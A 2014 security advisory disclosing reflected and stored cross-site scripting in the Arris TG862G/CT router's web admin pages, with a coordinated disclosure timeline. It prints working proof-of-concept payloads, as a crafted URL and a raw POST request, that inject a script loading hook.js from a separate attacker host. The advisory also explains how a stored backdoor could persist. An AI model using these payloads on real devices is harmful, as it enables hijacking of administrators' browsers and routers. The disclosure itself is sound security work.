-----------
Vendor:
-----------
Arris Interactive, LLC (http://www.arrisi.com/)
ISP: Comcast Xfinity

-----------------------------------------
Affected Products/Versions:
-----------------------------------------
HW: Arris Touchstone TG862G/CT (Xfinity branded)
SW: Version 7.6.59S.CT (Tested)

-----------------
Description:
-----------------
Title: Cross-site Scripting (XSS)
CVE: CVE-2014-5438
CWE: CWE-79: http://cwe.mitre.org/data/definitions/79.html
Researcher: Seth Art - @sethsec

-------------------------------------------------------------
POC - Reflected, post authentication XSS:
-------------------------------------------------------------

http://10.0.0.1/connected_devices_computers_edit.php?&computer_name=%3Cscript%20src=%27http://10.0.0.101:3000/hook.js%27%3E%3C/script%3E

---------------------------------------------------------
POC - Stored, post authentication XSS:
---------------------------------------------------------

POST /managed_sites_add_keyword.php HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0)
Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.101/managed_sites_add_keyword.php?&index=0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 104

keyword=%22%3E%3Cscript+src%3D%27http%3A%2F%2F10.0.0.101%3A3000%2Fhook.js%27%3C%2Fscript%3E&block=yes

Notes on stored XSS:  You could argue that stored XSS on an router
admin application that is only used by one person is not that big of a
deal, mainly because the attacker would need authenticated access to
"plant" the malicious payload.   Unfortunately, because the tested
version was also vulnerable to CSRF and reflected XSS, the risk is
much greater.  An admin who fell victim to a CSRF or reflected XSS
attack once could be forced into planting a JavaScript backdoor, that
would call back to the attacker every time the victim admin visits the
page with the malicious stored XSS payload.

-------------
Solution:
-------------
I tested my Comcast Xfinity device on December 10th, 2014 and it is no
longer vulnerable (version 7.6.86L.CT).  If you have an Arris
modem/router, contact your ISP (or Arris) to verify that your firmware
has been updated to address this vulnerability... or you could fire up
Burp and see for yourself ;)

-----------------------------
Disclosure Timeline:
-----------------------------
2014-07-16: Notified Arris of vulnerabilities in TG862G/CT product
2014-07-16: Arris responded and escalated issue to Tier 2
2014-07-17: Arris requested vulnerability details
2014-07-17: Vulnerability report sent to Arris Tier 2
2014-07-18: Arris confirmed receipt and began investigation
2014-08-04: Requested update from Arris
2014-08-05: Arris confirms issue has been escalated to engineering team
2014-08-06: Attended call with Arris to walk through findings
2014-09-18: Notified Arris that CVE-2014-5438 will be used to identify
this vulnerability
2014-09-25: December 6th suggested as the disclosure date
2014-10-13: Arris requested disclosure date of December 15th
2014-12-15: Public disclosure